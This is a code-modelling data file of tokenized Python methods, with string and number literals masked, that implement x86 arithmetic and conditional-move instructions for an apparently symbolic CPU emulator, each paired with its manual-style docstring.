{"signature": "@instruction<EOL><INDENT>def DIV(cpu, src):<DEDENT>", "body": "size = src.size<EOL>reg_name_h = {<NUM_LIT:8>: '<STR_LIT>', <NUM_LIT:16>: '<STR_LIT>', <NUM_LIT:32>: '<STR_LIT>', <NUM_LIT:64>: '<STR_LIT>'}[size]<EOL>reg_name_l = {<NUM_LIT:8>: '<STR_LIT>', <NUM_LIT:16>: '<STR_LIT>', <NUM_LIT:32>: '<STR_LIT>', <NUM_LIT:64>: '<STR_LIT>'}[size]<EOL>dividend = Operators.CONCAT(size * <NUM_LIT:2>,<EOL>cpu.read_register(reg_name_h),<EOL>cpu.read_register(reg_name_l))<EOL>divisor = Operators.ZEXTEND(src.read(), size * <NUM_LIT:2>)<EOL>if isinstance(divisor, int) and divisor == <NUM_LIT:0>:<EOL><INDENT>raise DivideByZeroError()<EOL><DEDENT>quotient = Operators.UDIV(dividend, divisor)<EOL>MASK = (<NUM_LIT:1> << size) - <NUM_LIT:1><EOL>if isinstance(quotient, int) and quotient > MASK:<EOL><INDENT>raise DivideByZeroError()<EOL><DEDENT>remainder = Operators.UREM(dividend, divisor)<EOL>cpu.write_register(reg_name_l, Operators.EXTRACT(quotient, <NUM_LIT:0>, size))<EOL>cpu.write_register(reg_name_h, Operators.EXTRACT(remainder, <NUM_LIT:0>, size))<EOL>", "docstring": "Unsigned divide.\n\nDivides (unsigned) the value in the AX register, DX:AX register pair,\nor EDX:EAX or RDX:RAX register pair (dividend) by the source operand\n(divisor) and stores the result in the AX (AH:AL), DX:AX, EDX:EAX or\nRDX:RAX registers. The source operand can be a general-purpose register\nor a memory location. The action of this instruction depends of the\noperand size (dividend/divisor). Division using 64-bit operand is\navailable only in 64-bit mode. Non-integral results are truncated\n(chopped) towards 0. The reminder is always less than the divisor in\nmagnitude. Overflow is indicated with the #DE (divide error) exception\nrather than with the CF flag::\n\n    IF SRC  =  0\n        THEN #DE; FI;(* divide error *)\n    IF OperandSize  =  8 (* word/byte operation *)\n        THEN\n            temp  =  AX / SRC;\n            IF temp > FFH\n                THEN #DE; (* divide error *) ;\n                ELSE\n                    AL  =  temp;\n                    AH  =  AX MOD SRC;\n            FI;\n        ELSE IF OperandSize  =  16 (* doubleword/word operation *)\n            THEN\n                temp  =  DX:AX / SRC;\n                IF temp > FFFFH\n                    THEN #DE; (* divide error *) ;\n                ELSE\n                    AX  =  temp;\n                    DX  =  DX:AX MOD SRC;\n                FI;\n            FI;\n        ELSE If OperandSize = 32 (* quadword/doubleword operation *)\n            THEN\n                temp  =  EDX:EAX / SRC;\n                IF temp > FFFFFFFFH\n                    THEN #DE; (* divide error *) ;\n                ELSE\n                    EAX  =  temp;\n                    EDX  =  EDX:EAX MOD SRC;\n                FI;\n            FI;\n        ELSE IF OperandSize = 64 (*Doublequadword/quadword operation*)\n            THEN\n                temp = RDX:RAX / SRC;\n                IF temp > FFFFFFFFFFFFFFFFH\n                    THEN #DE; (* Divide error *)\n                ELSE\n                    RAX = temp;\n                    RDX = RDX:RAX MOD SRC;\n                FI;\n            FI;\n    FI;\n\n:param cpu: current CPU.\n:param src: source operand.", "id": "f16975:c2:m33"}
{"signature": "@instruction<EOL><INDENT>def IDIV(cpu, src):<DEDENT>", "body": "reg_name_h = {<NUM_LIT:8>: '<STR_LIT>', <NUM_LIT:16>: '<STR_LIT>', <NUM_LIT:32>: '<STR_LIT>', <NUM_LIT:64>: '<STR_LIT>'}[src.size]<EOL>reg_name_l = {<NUM_LIT:8>: '<STR_LIT>', <NUM_LIT:16>: '<STR_LIT>', <NUM_LIT:32>: '<STR_LIT>', <NUM_LIT:64>: '<STR_LIT>'}[src.size]<EOL>dividend = Operators.CONCAT(src.size * <NUM_LIT:2>,<EOL>cpu.read_register(reg_name_h),<EOL>cpu.read_register(reg_name_l))<EOL>divisor = src.read()<EOL>if isinstance(divisor, int) and divisor == <NUM_LIT:0>:<EOL><INDENT>raise DivideByZeroError()<EOL><DEDENT>dst_size = src.size * <NUM_LIT:2><EOL>divisor = Operators.SEXTEND(divisor, src.size, dst_size)<EOL>mask = (<NUM_LIT:1> << dst_size) - <NUM_LIT:1><EOL>sign_mask = <NUM_LIT:1> << (dst_size - <NUM_LIT:1>)<EOL>dividend_sign = (dividend & sign_mask) != <NUM_LIT:0><EOL>divisor_sign = (divisor & sign_mask) != <NUM_LIT:0><EOL>if isinstance(divisor, int):<EOL><INDENT>if divisor_sign:<EOL><INDENT>divisor = ((~divisor) + <NUM_LIT:1>) & mask<EOL>divisor = -divisor<EOL><DEDENT><DEDENT>if isinstance(dividend, int):<EOL><INDENT>if dividend_sign:<EOL><INDENT>dividend = ((~dividend) + <NUM_LIT:1>) & mask<EOL>dividend = -dividend<EOL><DEDENT><DEDENT>quotient = Operators.SDIV(dividend, divisor)<EOL>if (isinstance(dividend, int) and<EOL>isinstance(dividend, int)):<EOL><INDENT>remainder = dividend - (quotient * divisor)<EOL><DEDENT>else:<EOL><INDENT>remainder = Operators.SREM(dividend, divisor)<EOL><DEDENT>cpu.write_register(reg_name_l, Operators.EXTRACT(quotient, <NUM_LIT:0>, src.size))<EOL>cpu.write_register(reg_name_h, Operators.EXTRACT(remainder, <NUM_LIT:0>, src.size))<EOL>", "docstring": "Signed divide.\n\nDivides (signed) the value in the AL, AX, or EAX register by the source\noperand and stores the result in the AX, DX:AX, or EDX:EAX registers.\nThe source operand can be a general-purpose register or a memory\nlocation. The action of this instruction depends on the operand size.::\n\nIF SRC  =  0\nTHEN #DE; (* divide error *)\nFI;\nIF OpernadSize  =  8 (* word/byte operation *)\nTHEN\n    temp  =  AX / SRC; (* signed division *)\n    IF (temp > 7FH) Operators.OR(temp < 80H)\n    (* if a positive result is greater than 7FH or a negative result is\n    less than 80H *)\n    THEN #DE; (* divide error *) ;\n    ELSE\n        AL  =  temp;\n        AH  =  AX SignedModulus SRC;\n    FI;\nELSE\n    IF OpernadSize  =  16 (* doubleword/word operation *)\n    THEN\n        temp  =  DX:AX / SRC; (* signed division *)\n        IF (temp > 7FFFH) Operators.OR(temp < 8000H)\n        (* if a positive result is greater than 7FFFH *)\n        (* or a negative result is less than 8000H *)\n        THEN #DE; (* divide error *) ;\n        ELSE\n            AX  =  temp;\n            DX  =  DX:AX SignedModulus SRC;\n        FI;\n    ELSE (* quadword/doubleword operation *)\n        temp  =  EDX:EAX / SRC; (* signed division *)\n        IF (temp > 7FFFFFFFH) Operators.OR(temp < 80000000H)\n        (* if a positive result is greater than 7FFFFFFFH *)\n        (* or a negative result is less than 80000000H *)\n        THEN #DE; (* divide error *) ;\n        ELSE\n            EAX  =  temp;\n            EDX  =  EDX:EAX SignedModulus SRC;\n        FI;\n    FI;\nFI;\n\n:param cpu: current CPU.\n:param src: source operand.", "id": "f16975:c2:m34"}
{"signature": "@instruction<EOL><INDENT>def IMUL(cpu, *operands):<DEDENT>", "body": "dest = operands[<NUM_LIT:0>]<EOL>OperandSize = dest.size<EOL>reg_name_h = {<NUM_LIT:8>: '<STR_LIT>', <NUM_LIT:16>: '<STR_LIT>', <NUM_LIT:32>: '<STR_LIT>', <NUM_LIT:64>: '<STR_LIT>'}[OperandSize]<EOL>reg_name_l = {<NUM_LIT:8>: '<STR_LIT>', <NUM_LIT:16>: '<STR_LIT>', <NUM_LIT:32>: '<STR_LIT>', <NUM_LIT:64>: '<STR_LIT>'}[OperandSize]<EOL>arg0 = dest.read()<EOL>arg1 = None<EOL>arg2 = None<EOL>res = None<EOL>if len(operands) == <NUM_LIT:1>:<EOL><INDENT>arg1 = cpu.read_register(reg_name_l)<EOL>temp = (Operators.SEXTEND(arg0, OperandSize, OperandSize * <NUM_LIT:2>) *<EOL>Operators.SEXTEND(arg1, OperandSize, OperandSize * <NUM_LIT:2>))<EOL>temp = temp & ((<NUM_LIT:1> << (OperandSize * <NUM_LIT:2>)) - <NUM_LIT:1>)<EOL>cpu.write_register(reg_name_l,<EOL>Operators.EXTRACT(temp, <NUM_LIT:0>, OperandSize))<EOL>cpu.write_register(reg_name_h,<EOL>Operators.EXTRACT(temp, OperandSize, OperandSize))<EOL>res = Operators.EXTRACT(temp, <NUM_LIT:0>, OperandSize)<EOL><DEDENT>elif len(operands) == <NUM_LIT:2>:<EOL><INDENT>arg1 = operands[<NUM_LIT:1>].read()<EOL>arg1 = Operators.SEXTEND(arg1, OperandSize, OperandSize * <NUM_LIT:2>)<EOL>temp = Operators.SEXTEND(arg0, OperandSize, OperandSize * <NUM_LIT:2>) * arg1<EOL>temp = temp & ((<NUM_LIT:1> << (OperandSize * <NUM_LIT:2>)) - <NUM_LIT:1>)<EOL>res = dest.write(Operators.EXTRACT(temp, <NUM_LIT:0>, OperandSize))<EOL><DEDENT>else:<EOL><INDENT>arg1 = operands[<NUM_LIT:1>].read()<EOL>arg2 = operands[<NUM_LIT:2>].read()<EOL>temp = (Operators.SEXTEND(arg1, OperandSize, OperandSize * <NUM_LIT:2>) *<EOL>Operators.SEXTEND(arg2, operands[<NUM_LIT:2>].size, OperandSize * <NUM_LIT:2>))<EOL>temp = temp & ((<NUM_LIT:1> << (OperandSize * <NUM_LIT:2>)) - <NUM_LIT:1>)<EOL>res = dest.write(Operators.EXTRACT(temp, <NUM_LIT:0>, OperandSize))<EOL><DEDENT>cpu.CF = (Operators.SEXTEND(res, OperandSize, OperandSize * <NUM_LIT:2>) != temp)<EOL>cpu.OF = cpu.CF<EOL>", "docstring": "Signed multiply.\n\nPerforms a signed multiplication of two operands. This instruction has\nthree forms, depending on the number of operands.\n    - One-operand form. This form is identical to that used by the MUL\n    instruction. Here, the source operand (in a general-purpose\n    register or memory location) is multiplied by the value in the AL,\n    AX, or EAX register (depending on the operand size) and the product\n    is stored in the AX, DX:AX, or EDX:EAX registers, respectively.\n    - Two-operand form. With this form the destination operand (the\n    first operand) is multiplied by the source operand (second\n    operand). The destination operand is a general-purpose register and\n    the source operand is an immediate value, a general-purpose\n    register, or a memory location. The product is then stored in the\n    destination operand location.\n    - Three-operand form. This form requires a destination operand (the\n    first operand) and two source operands (the second and the third\n    operands). Here, the first source operand (which can be a\n    general-purpose register or a memory location) is multiplied by the\n    second source operand (an immediate value). The product is then\n    stored in the destination operand (a general-purpose register).\n\nWhen an immediate value is used as an operand, it is sign-extended to\nthe length of the destination operand format. The CF and OF flags are\nset when significant bits are carried into the upper half of the\nresult. The CF and OF flags are cleared when the result fits exactly in\nthe lower half of the result. The three forms of the IMUL instruction\nare similar in that the length of the product is calculated to twice\nthe length of the operands. With the one-operand form, the product is\nstored exactly in the destination. With the two- and three- operand\nforms, however, result is truncated to the length of the destination\nbefore it is stored in the destination register. Because of this\ntruncation, the CF or OF flag should be tested to ensure that no\nsignificant bits are lost. The two- and three-operand forms may also be\nused with unsigned operands because the lower half of the product is\nthe same regardless if the operands are signed or unsigned. The CF and\nOF flags, however, cannot be used to determine if the upper half of the\nresult is non-zero::\n\nIF (NumberOfOperands == 1)\nTHEN\n    IF (OperandSize == 8)\n    THEN\n        AX = AL * SRC (* Signed multiplication *)\n        IF AL == AX\n        THEN\n            CF = 0; OF = 0;\n        ELSE\n            CF = 1; OF = 1;\n        FI;\n    ELSE\n        IF OperandSize == 16\n        THEN\n            DX:AX = AX * SRC (* Signed multiplication *)\n            IF sign_extend_to_32 (AX) == DX:AX\n            THEN\n                CF = 0; OF = 0;\n            ELSE\n                CF = 1; OF = 1;\n            FI;\n        ELSE\n            IF OperandSize == 32\n            THEN\n                EDX:EAX = EAX * SRC (* Signed multiplication *)\n                IF EAX == EDX:EAX\n                THEN\n                    CF = 0; OF = 0;\n                ELSE\n                    CF = 1; OF = 1;\n                FI;\n            ELSE (* OperandSize = 64 *)\n                RDX:RAX = RAX * SRC (* Signed multiplication *)\n                IF RAX == RDX:RAX\n                THEN\n                    CF = 0; OF = 0;\n                ELSE\n                   CF = 1; OF = 1;\n                FI;\n            FI;\n        FI;\nELSE\n    IF (NumberOfOperands = 2)\n    THEN\n        temp = DEST * SRC (* Signed multiplication; temp is double DEST size *)\n        DEST = DEST * SRC (* Signed multiplication *)\n        IF temp != DEST\n        THEN\n            CF = 1; OF = 1;\n        ELSE\n            CF = 0; OF = 0;\n        FI;\n    ELSE (* NumberOfOperands = 3 *)\n        DEST = SRC1 * SRC2 (* Signed multiplication *)\n        temp = SRC1 * SRC2 (* Signed multiplication; temp is double SRC1 size *)\n        IF temp != DEST\n        THEN\n            CF = 1; OF = 1;\n        ELSE\n            CF = 0; OF = 0;\n        FI;\n    FI;\nFI;\n\n:param cpu: current CPU.\n:param operands: variable list of operands.", "id": "f16975:c2:m35"}
{"signature": "@instruction<EOL><INDENT>def INC(cpu, dest):<DEDENT>", "body": "arg0 = dest.read()<EOL>res = dest.write(arg0 + <NUM_LIT:1>)<EOL>res &= (<NUM_LIT:1> << dest.size) - <NUM_LIT:1><EOL>SIGN_MASK = <NUM_LIT:1> << (dest.size - <NUM_LIT:1>)<EOL>cpu.AF = ((arg0 ^ <NUM_LIT:1>) ^ res) & <NUM_LIT> != <NUM_LIT:0><EOL>cpu.ZF = res == <NUM_LIT:0><EOL>cpu.SF = (res & SIGN_MASK) != <NUM_LIT:0><EOL>cpu.OF = res == SIGN_MASK<EOL>cpu.PF = cpu._calculate_parity_flag(res)<EOL>", "docstring": "Increments by 1.\n\nAdds 1 to the destination operand, while preserving the state of the\nCF flag. The destination operand can be a register or a memory location.\nThis instruction allows a loop counter to be updated without disturbing\nthe CF flag. (Use a ADD instruction with an immediate operand of 1 to\nperform an increment operation that does updates the CF flag.)::\n\n        DEST  =  DEST +1;\n\n:param cpu: current CPU.\n:param dest: destination operand.", "id": "f16975:c2:m36"}
{"signature": "@instruction<EOL><INDENT>def MUL(cpu, src):<DEDENT>", "body": "size = src.size<EOL>reg_name_low, reg_name_high = {<NUM_LIT:8>: ('<STR_LIT>', '<STR_LIT>'),<EOL><NUM_LIT:16>: ('<STR_LIT>', '<STR_LIT>'),<EOL><NUM_LIT:32>: ('<STR_LIT>', '<STR_LIT>'),<EOL><NUM_LIT:64>: ('<STR_LIT>', '<STR_LIT>')}[size]<EOL>res = (Operators.ZEXTEND(cpu.read_register(reg_name_low), <NUM_LIT>) *<EOL>Operators.ZEXTEND(src.read(), <NUM_LIT>))<EOL>cpu.write_register(reg_name_low, Operators.EXTRACT(res, <NUM_LIT:0>, size))<EOL>cpu.write_register(reg_name_high, Operators.EXTRACT(res, size, size))<EOL>cpu.OF = Operators.EXTRACT(res, size, size) != <NUM_LIT:0><EOL>cpu.CF = cpu.OF<EOL>", "docstring": "Unsigned multiply.\n\nPerforms an unsigned multiplication of the first operand (destination\noperand) and the second operand (source operand) and stores the result\nin the destination operand. The destination operand is an implied operand\nlocated in register AL, AX or EAX (depending on the size of the operand);\nthe source operand is located in a general-purpose register or a memory location.\n\nThe result is stored in register AX, register pair DX:AX, or register\npair EDX:EAX (depending on the operand size), with the high-order bits\nof the product contained in register AH, DX, or EDX, respectively. If\nthe high-order bits of the product are 0, the CF and OF flags are cleared;\notherwise, the flags are set::\n\n        IF byte operation\n        THEN\n            AX  =  AL * SRC\n        ELSE (* word or doubleword operation *)\n            IF OperandSize  =  16\n            THEN\n                DX:AX  =  AX * SRC\n            ELSE (* OperandSize  =  32 *)\n                EDX:EAX  =  EAX * SRC\n            FI;\n        FI;\n\n:param cpu: current CPU.\n:param src: source operand.", "id": "f16975:c2:m37"}
{"signature": "@instruction<EOL><INDENT>def NEG(cpu, dest):<DEDENT>", "body": "source = dest.read()<EOL>res = dest.write(-source)<EOL>cpu._calculate_logic_flags(dest.size, res)<EOL>cpu.CF = source != <NUM_LIT:0><EOL>cpu.AF = (res & <NUM_LIT>) != <NUM_LIT><EOL>", "docstring": "Two's complement negation.\n\nReplaces the value of operand (the destination operand) with its two's complement.\n(This operation is equivalent to subtracting the operand from 0.) The destination operand is\nlocated in a general-purpose register or a memory location::\n\n        IF DEST  =  0\n        THEN CF  =  0\n        ELSE CF  =  1;\n        FI;\n        DEST  =  - (DEST)\n\n:param cpu: current CPU.\n:param dest: destination operand.", "id": "f16975:c2:m38"}
{"signature": "@instruction<EOL><INDENT>def SBB(cpu, dest, src):<DEDENT>", "body": "cpu._SUB(dest, src, carry=True)<EOL>", "docstring": "Integer subtraction with borrow.\n\nAdds the source operand (second operand) and the carry (CF) flag, and\nsubtracts the result from the destination operand (first operand). The\nresult of the subtraction is stored in the destination operand. The\ndestination operand can be a register or a memory location; the source\noperand can be an immediate, a register, or a memory location.\n(However, two memory operands cannot be used in one instruction.) The\nstate of the CF flag represents a borrow from a previous subtraction.\nWhen an immediate value is used as an operand, it is sign-extended to\nthe length of the destination operand format.\nThe SBB instruction does not distinguish between signed or unsigned\noperands. Instead, the processor evaluates the result for both data\ntypes and sets the OF and CF flags to indicate a borrow in the signed\nor unsigned result, respectively. The SF flag indicates the sign of the\nsigned result.  The SBB instruction is usually executed as part of a\nmultibyte or multiword subtraction in which a SUB instruction is\nfollowed by a SBB instruction::\n\n        DEST  =  DEST - (SRC + CF);\n\n:param cpu: current CPU.\n:param dest: destination operand.\n:param src: source operand.", "id": "f16975:c2:m39"}
{"signature": "@instruction<EOL><INDENT>def SUB(cpu, dest, src):<DEDENT>", "body": "cpu._SUB(dest, src, carry=False)<EOL>", "docstring": "Subtract.\n\nSubtracts the second operand (source operand) from the first operand\n(destination operand) and stores the result in the destination operand.\nThe destination operand can be a register or a memory location; the\nsource operand can be an immediate, register, or memory location.\n(However, two memory operands cannot be used in one instruction.) When\nan immediate value is used as an operand, it is sign-extended to the\nlength of the destination operand format.\nThe SUB instruction does not distinguish between signed or unsigned\noperands. Instead, the processor evaluates the result for both\ndata types and sets the OF and CF flags to indicate a borrow in the\nsigned or unsigned result, respectively. The SF flag indicates the sign\nof the signed result::\n\n    DEST  =  DEST - SRC;\n\n:param cpu: current CPU.\n:param dest: destination operand.\n:param src: source operand.", "id": "f16975:c2:m40"}
{"signature": "@instruction<EOL><INDENT>def XADD(cpu, dest, src):<DEDENT>", "body": "MASK = (<NUM_LIT:1> << dest.size) - <NUM_LIT:1><EOL>SIGN_MASK = <NUM_LIT:1> << (dest.size - <NUM_LIT:1>)<EOL>arg0 = dest.read()<EOL>arg1 = src.read()<EOL>temp = (arg1 + arg0) & MASK<EOL>src.write(arg0)<EOL>dest.write(temp)<EOL>tempCF = Operators.OR(Operators.ULT(temp, arg0), Operators.ULT(temp, arg1))<EOL>cpu.CF = tempCF<EOL>cpu.AF = ((arg0 ^ arg1) ^ temp) & <NUM_LIT> != <NUM_LIT:0><EOL>cpu.ZF = temp == <NUM_LIT:0><EOL>cpu.SF = (temp & SIGN_MASK) != <NUM_LIT:0><EOL>cpu.OF = (((arg0 ^ arg1 ^ SIGN_MASK) & (temp ^ arg1)) & SIGN_MASK) != <NUM_LIT:0><EOL>cpu.PF = cpu._calculate_parity_flag(temp)<EOL>", "docstring": "Exchanges and adds.\n\nExchanges the first operand (destination operand) with the second operand\n(source operand), then loads the sum of the two values into the destination\noperand. The destination operand can be a register or a memory location;\nthe source operand is a register.\nThis instruction can be used with a LOCK prefix::\n\n        TEMP  =  SRC + DEST\n        SRC  =  DEST\n        DEST  =  TEMP\n\n:param cpu: current CPU.\n:param dest: destination operand.\n:param src: source operand.", "id": "f16975:c2:m42"}
{"signature": "@instruction<EOL><INDENT>def BSWAP(cpu, dest):<DEDENT>", "body": "parts = []<EOL>arg0 = dest.read()<EOL>for i in range(<NUM_LIT:0>, dest.size, <NUM_LIT:8>):<EOL><INDENT>parts.append(Operators.EXTRACT(arg0, i, <NUM_LIT:8>))<EOL><DEDENT>dest.write(Operators.CONCAT(<NUM_LIT:8> * len(parts), *parts))<EOL>", "docstring": "Byte swap.\n\nReverses the byte order of a 32-bit (destination) register: bits 0 through\n7 are swapped with bits 24 through 31, and bits 8 through 15 are swapped\nwith bits 16 through 23. This instruction is provided for converting little-endian\nvalues to big-endian format and vice versa.\nTo swap bytes in a word value (16-bit register), use the XCHG instruction.\nWhen the BSWAP instruction references a 16-bit register, the result is\nundefined::\n\n    TEMP  =  DEST\n    DEST[7..0]  =  TEMP[31..24]\n    DEST[15..8]  =  TEMP[23..16]\n    DEST[23..16]  =  TEMP[15..8]\n    DEST[31..24]  =  TEMP[7..0]\n\n:param cpu: current CPU.\n:param dest: destination operand.", "id": "f16975:c2:m43"}
{"signature": "@instruction<EOL><INDENT>def CMOVB(cpu, dest, src):<DEDENT>", "body": "dest.write(Operators.ITEBV(dest.size, cpu.CF, src.read(), dest.read()))<EOL>", "docstring": "Conditional move - Below/not above or equal.\n\nTests the status flags in the EFLAGS register and moves the source operand\n(second operand) to the destination operand (first operand) if the given\ntest condition is true.\n\n:param cpu: current CPU.\n:param dest: destination operand.\n:param src: source operand.", "id": "f16975:c2:m44"}
{"signature": "@instruction<EOL><INDENT>def CMOVA(cpu, dest, src):<DEDENT>", "body": "dest.write(Operators.ITEBV(dest.size, Operators.AND(cpu.CF == False, cpu.ZF == False), src.read(), dest.read()))<EOL>", "docstring": "Conditional move - Above/not below or equal.\n\nTests the status flags in the EFLAGS register and moves the source operand\n(second operand) to the destination operand (first operand) if the given\ntest condition is true.\n\n:param cpu: current CPU.\n:param dest: destination operand.\n:param src: source operand.", "id": "f16975:c2:m45"}
{"signature": "@instruction<EOL><INDENT>def CMOVAE(cpu, dest, src):<DEDENT>", "body": "dest.write(Operators.ITEBV(dest.size, cpu.CF == False, src.read(), dest.read()))<EOL>", "docstring": "Conditional move - Above or equal/not below.\n\nTests the status flags in the EFLAGS register and moves the source operand\n(second operand) to the destination operand (first operand) if the given\ntest condition is true.\n\n:param cpu: current CPU.\n:param dest: destination operand.\n:param src: source operand.", "id": "f16975:c2:m46"}
{"signature": "@instruction<EOL><INDENT>def CMOVBE(cpu, dest, src):<DEDENT>", "body": "dest.write(Operators.ITEBV(dest.size, Operators.OR(cpu.CF, cpu.ZF), src.read(), dest.read()))<EOL>", "docstring": "Conditional move - Below or equal/not above.\n\nTests the status flags in the EFLAGS register and moves the source operand\n(second operand) to the destination operand (first operand) if the given\ntest condition is true.\n\n:param cpu: current CPU.\n:param dest: destination operand.\n:param src: source operand.", "id": "f16975:c2:m47"}
{"signature": "@instruction<EOL><INDENT>def CMOVZ(cpu, dest, src):<DEDENT>", "body": "dest.write(Operators.ITEBV(dest.size, cpu.ZF, src.read(), dest.read()))<EOL>", "docstring": "Conditional move - Equal/zero.\n\nTests the status flags in the EFLAGS register and moves the source operand\n(second operand) to the destination operand (first operand) if the given\ntest condition is true.\n\n:param cpu: current CPU.\n:param dest: destination operand.\n:param src: source operand.", "id": "f16975:c2:m48"}
{"signature": "@instruction<EOL><INDENT>def CMOVNZ(cpu, dest, src):<DEDENT>", "body": "dest.write(Operators.ITEBV(dest.size, cpu.ZF == False, src.read(), dest.read()))<EOL>", "docstring": "Conditional move - Not equal/not zero.\n\nTests the status flags in the EFLAGS register and moves the source operand\n(second operand) to the destination operand (first operand) if the given\ntest condition is true.\n\n:param cpu: current CPU.\n:param dest: destination operand.\n:param src: source operand.", "id": "f16975:c2:m49"}
{"signature": "@instruction<EOL><INDENT>def CMOVP(cpu, dest, src):<DEDENT>", "body": "dest.write(Operators.ITEBV(dest.size, cpu.PF, src.read(), dest.read()))<EOL>", "docstring": "Conditional move - Parity/parity even.\n\nTests the status flags in the EFLAGS register and moves the source operand\n(second operand) to the destination operand (first operand) if the given\ntest condition is true.\n\n:param cpu: current CPU.\n:param dest: destination operand.\n:param src: source operand.", "id": "f16975:c2:m50"}
{"signature": "@instruction<EOL><INDENT>def CMOVNP(cpu, dest, src):<DEDENT>", "body": "dest.write(Operators.ITEBV(dest.size, cpu.PF == False, src.read(), dest.read()))<EOL>", "docstring": "Conditional move - Not parity/parity odd.\n\nTests the status flags in the EFLAGS register and moves the source operand\n(second operand) to the destination operand (first operand) if the given\ntest condition is true.\n\n:param cpu: current CPU.\n:param dest: destination operand.\n:param src: source operand.", "id": "f16975:c2:m51"}
{"signature": "@instruction<EOL><INDENT>def CMOVG(cpu, dest, src):<DEDENT>", "body": "dest.write(Operators.ITEBV(dest.size, Operators.AND(cpu.ZF == <NUM_LIT:0>, cpu.SF == cpu.OF), src.read(), dest.read()))<EOL>", "docstring": "Conditional move - Greater.\n\nTests the status flags in the EFLAGS register and moves the source operand\n(second operand) to the destination operand (first operand) if the given\ntest condition is true.\n\n:param cpu: current CPU.\n:param dest: destination operand.\n:param src: source operand.", "id": "f16975:c2:m52"}
{"signature": "@instruction<EOL><INDENT>def CMOVGE(cpu, dest, src):<DEDENT>", "body": "dest.write(Operators.ITEBV(dest.size, (cpu.SF ^ cpu.OF) == <NUM_LIT:0>, src.read(), dest.read()))<EOL>", "docstring": "Conditional move - Greater or equal/not less.\n\nTests the status flags in the EFLAGS register and moves the source operand\n(second operand) to the destination operand (first operand) if the given\ntest condition is true.\n\n:param cpu: current CPU.\n:param dest: destination operand.\n:param src: source operand.", "id": "f16975:c2:m53"}
{"signature": "@instruction<EOL><INDENT>def CMOVL(cpu, dest, src):<DEDENT>", "body": "dest.write(Operators.ITEBV(dest.size, cpu.SF ^ cpu.OF, src.read(), dest.read()))<EOL>", "docstring": "Conditional move - Less/not greater or equal.\n\nTests the status flags in the EFLAGS register and moves the source operand\n(second operand) to the destination operand (first operand) if the given\ntest condition is true.\n\n:param cpu: current CPU.\n:param dest: destination operand.\n:param src: source operand.", "id": "f16975:c2:m54"}
{"signature": "@instruction<EOL><INDENT>def CMOVLE(cpu, dest, src):<DEDENT>", "body": "dest.write(Operators.ITEBV(dest.size, Operators.OR(cpu.SF ^ cpu.OF, cpu.ZF), src.read(), dest.read()))<EOL>", "docstring": "Conditional move - Less or equal/not greater.\n\nTests the status flags in the EFLAGS register and moves the source operand\n(second operand) to the destination operand (first operand) if the given\ntest condition is true.\n\n:param cpu: current CPU.\n:param dest: destination operand.\n:param src: source operand.", "id": "f16975:c2:m55"}
{"signature": "@instruction<EOL><INDENT>def CMOVO(cpu, dest, src):<DEDENT>", "body": "dest.write(Operators.ITEBV(dest.size, cpu.OF, src.read(), dest.read()))<EOL>", "docstring": "Conditional move - Overflow.\n\nTests the status flags in the EFLAGS register and moves the source operand\n(second operand) to the destination operand (first operand) if the given\ntest condition is true.\n\n:param cpu: current CPU.\n:param dest: destination operand.\n:param src: source operand.", "id": "f16975:c2:m56"}
{"signature": "@instruction<EOL><INDENT>def CMOVNO(cpu, dest, src):<DEDENT>", "body": "dest.write(Operators.ITEBV(dest.size, cpu.OF == False, src.read(), dest.read()))<EOL>", "docstring": "Conditional move - Not overflow.\n\nTests the status flags in the EFLAGS register and moves the source operand\n(second operand) to the destination operand (first operand) if the given\ntest condition is true.\n\n:param cpu: current CPU.\n:param dest: destination operand.\n:param src: source operand.", "id": "f16975:c2:m57"}
{"signature": "@instruction<EOL><INDENT>def CMOVS(cpu, dest, src):<DEDENT>", "body": "dest.write(Operators.ITEBV(dest.size, cpu.SF, src.read(), dest.read()))<EOL>", "docstring": "Conditional move - Sign (negative).\n\nTests the status flags in the EFLAGS register and moves the source operand\n(second operand) to the destination operand (first operand) if the given\ntest condition is true.\n\n:param cpu: current CPU.\n:param dest: destination operand.\n:param src: source operand.", "id": "f16975:c2:m58"}
{"signature": "@instruction<EOL><INDENT>def CMOVNS(cpu, dest, src):<DEDENT>", "body": "dest.write(Operators.ITEBV(dest.size, cpu.SF == False, src.read(), dest.read()))<EOL>", "docstring": "Conditional move - Not sign (non-negative).\n\nTests the status flags in the EFLAGS register and moves the source operand\n(second operand) to the destination operand (first operand) if the given\ntest condition is true.\n\n:param cpu: current CPU.\n:param dest: destination operand.\n:param src: source operand.", "id": "f16975:c2:m59"}
{"signature": "@instruction<EOL><INDENT>def LAHF(cpu):<DEDENT>", "body": "used_regs = (cpu.SF, cpu.ZF, cpu.AF, cpu.PF, cpu.CF)<EOL>is_expression = any(issymbolic(x) for x in used_regs)<EOL>def make_flag(val, offset):<EOL><INDENT>if is_expression:<EOL><INDENT>return Operators.ITEBV(<NUM_LIT:8>, val,<EOL>BitVecConstant(<NUM_LIT:8>, <NUM_LIT:1> << offset),<EOL>BitVecConstant(<NUM_LIT:8>, <NUM_LIT:0>))<EOL><DEDENT>else:<EOL><INDENT>return val << offset<EOL><DEDENT><DEDENT>cpu.AH = (make_flag(cpu.SF, <NUM_LIT:7>) |<EOL>make_flag(cpu.ZF, <NUM_LIT:6>) |<EOL>make_flag(<NUM_LIT:0>, <NUM_LIT:5>) |<EOL>make_flag(cpu.AF, <NUM_LIT:4>) |<EOL>make_flag(<NUM_LIT:0>, <NUM_LIT:3>) |<EOL>make_flag(cpu.PF, <NUM_LIT:2>) |<EOL>make_flag(<NUM_LIT:1>, <NUM_LIT:1>) |<EOL>make_flag(cpu.CF, <NUM_LIT:0>))<EOL>", "docstring": "Loads status flags into AH register.\n\nMoves the low byte of the EFLAGS register (which includes status flags\nSF, ZF, AF, PF, and CF) to the AH register. Reserved bits 1, 3, and 5\nof the EFLAGS register are set in the AH register::\n\n        AH  =  EFLAGS(SF:ZF:0:AF:0:PF:1:CF);\n\n:param cpu: current CPU.\n:param dest: destination operand.\n:param src: source operand.", "id": "f16975:c2:m60"}
{"signature": "@instruction<EOL><INDENT>def LDS(cpu, dest, src):<DEDENT>", "body": "raise NotImplementedError(\"<STR_LIT>\")<EOL>", "docstring": "Not implemented.", "id": "f16975:c2:m61"}
{"signature": "@instruction<EOL><INDENT>def LES(cpu, dest, src):<DEDENT>", "body": "raise NotImplementedError(\"<STR_LIT>\")<EOL>", "docstring": "Not implemented.", "id": "f16975:c2:m62"}
